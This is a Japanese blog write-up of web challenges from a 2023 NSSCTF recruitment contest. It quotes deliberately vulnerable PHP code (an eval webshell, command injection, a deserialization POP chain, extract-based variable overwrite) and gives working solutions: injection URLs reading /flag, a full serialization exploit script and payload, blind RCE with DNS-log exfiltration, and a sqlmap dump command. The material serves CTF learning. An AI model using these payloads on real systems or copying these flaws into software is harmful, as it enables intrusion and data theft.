banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

2023年SWPU NSS 秋季招新赛 (校外赛道)ウェブ題の解説

wallhaven-yx5jkk

水水コンペ

課題はhttps://www.nssctf.cn/index で検索できます

colorful_snake#

右クリックして js ソースコードを表示し、unicode をデコードします

image

NSS_HTTP_CHEKER#

cookie editorで cookie を設定
X-Forwarded-For: 127.0.0.1
User-Agentでブラウザを設定

ワンクリック接続!#

  • 弱比較
  • 擬似プロトコル
<?php  
highlight_file(__FILE__);  
error_reporting(0);  
$md5_1 = $_GET['md5_1'];  
$md5_2 = $_GET['md5_2'];  
$sha1_1 = $_GET['sha1_1'];  
$sha1_2 = $_GET['sha1_2'];  
$new_player =$_GET['new_player'];  
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {  
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {  
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {  
            echo "おめでとう~~~~~~~~~";  
            echo "need Antswordを試してみて<br/>";  
            @eval($_POST['Nss']);  
        }else{  
            echo "dataプロトコルを聞いたことがありますか?";  
        }  
    } else {  
        echo "sha1はどうして等しいのか";  
    }  
} else {  
    echo "md5値をどうやって等しくするのか¿";  
}

http://node6.anna.nssctf.cn:28155/?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data:text/plain,Welcome to NSSCTF!!!

image

問題のヒントは、AntSword 接続、上記のアドレスに接続、パスワードNss

image

Pingpingping#

問題の説明

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
$_ping = $_GET['Ping_ip.exe'];  
if(isset($_ping)){    system("ping -c 3 ".$_ping);  
}else{    $data = base64_encode(file_get_contents("error.png"));  
    echo "<img src='data:image/png;base64,$data'/>";  
}

image

_[に置き換えてパラメータを渡します

http://node6.anna.nssctf.cn:28042/?Ping[ip.exe=127.0.0.1;cat+/flag

image

参考:https://blog.csdn.net/mochu7777777/article/details/115050295

ez_talk#

ファイルヘッダーを追加し、webshell の大文字回避

image

image

UnS3rialize#

問題の説明

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "おめでとうございます!!!POPチェーンを構築する方法を学びました<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "何が欲しいですか?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "今、__toStringの使い方を知っています<br/>トリガーする方法は一つではありません";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "今、__constructの使い方を知っています<br/>";
                echo "あなたのノート".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "デシリアライズをやってみましょう :)";
}
デシリアライズをやってみましょう :)

php の反序列化の問題、exp は以下の通り:

<?php
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "おめでとうございます!!!POPチェーンを構築する方法を学びました<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "何が欲しいですか?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "今、__toStringの使い方を知っています<br/>トリガーする方法は一つではありません";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "今、__constructの使い方を知っています<br/>";
                echo "あなたのノート".$this->notes;
        }else{
            die("N0!");
        }
    }
}
$nss = new NSS();
$nss->cmd = "cat /flag";

$c = new C();
$c->whoami = $nss;

$t = new T();
$t->sth = $c;

$f = new F("SWPU","NSS");
$f->notes = $t;

echo serialize($f);

?>

http://node6.anna.nssctf.cn:28314/?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6Mjp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX19

RCE plus#

問題の説明

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
function strCheck($cmd)  
{  
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){  
        return($cmd);  
    }  
    else{  
        die("これが嫌い");        
      }  
}  
$cmd=$_GET['cmd'];  
strCheck($cmd);  
shell_exec($cmd);  
?>

テストのエコー、遅延 5 秒、エコーなし RCE

?cmd=ls / | sleep 5

dnslog を利用して flag を受信

image

image

backup#

バックアップファイル www.zip をダウンロード

ソースコードは以下の通り:

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='どこに行くか教えて';
        $this->molly='教えない';
        $this->dimoo="あなたは推測できる";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙橋"){
        extract($_POST);
        if($pucky==="二仙橋"){    
            die("<script>window.alert('どこに行くつもりですか??');</script>");
        }
        unserialize($pucky);
    }
}

変数の上書き

image

查查 need#

問題の説明

image

直接 sqlmap を使って一発で

sqlmap -r sql.txt -D school -T students -C name,password,student_id,grade --dump --batch

image

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。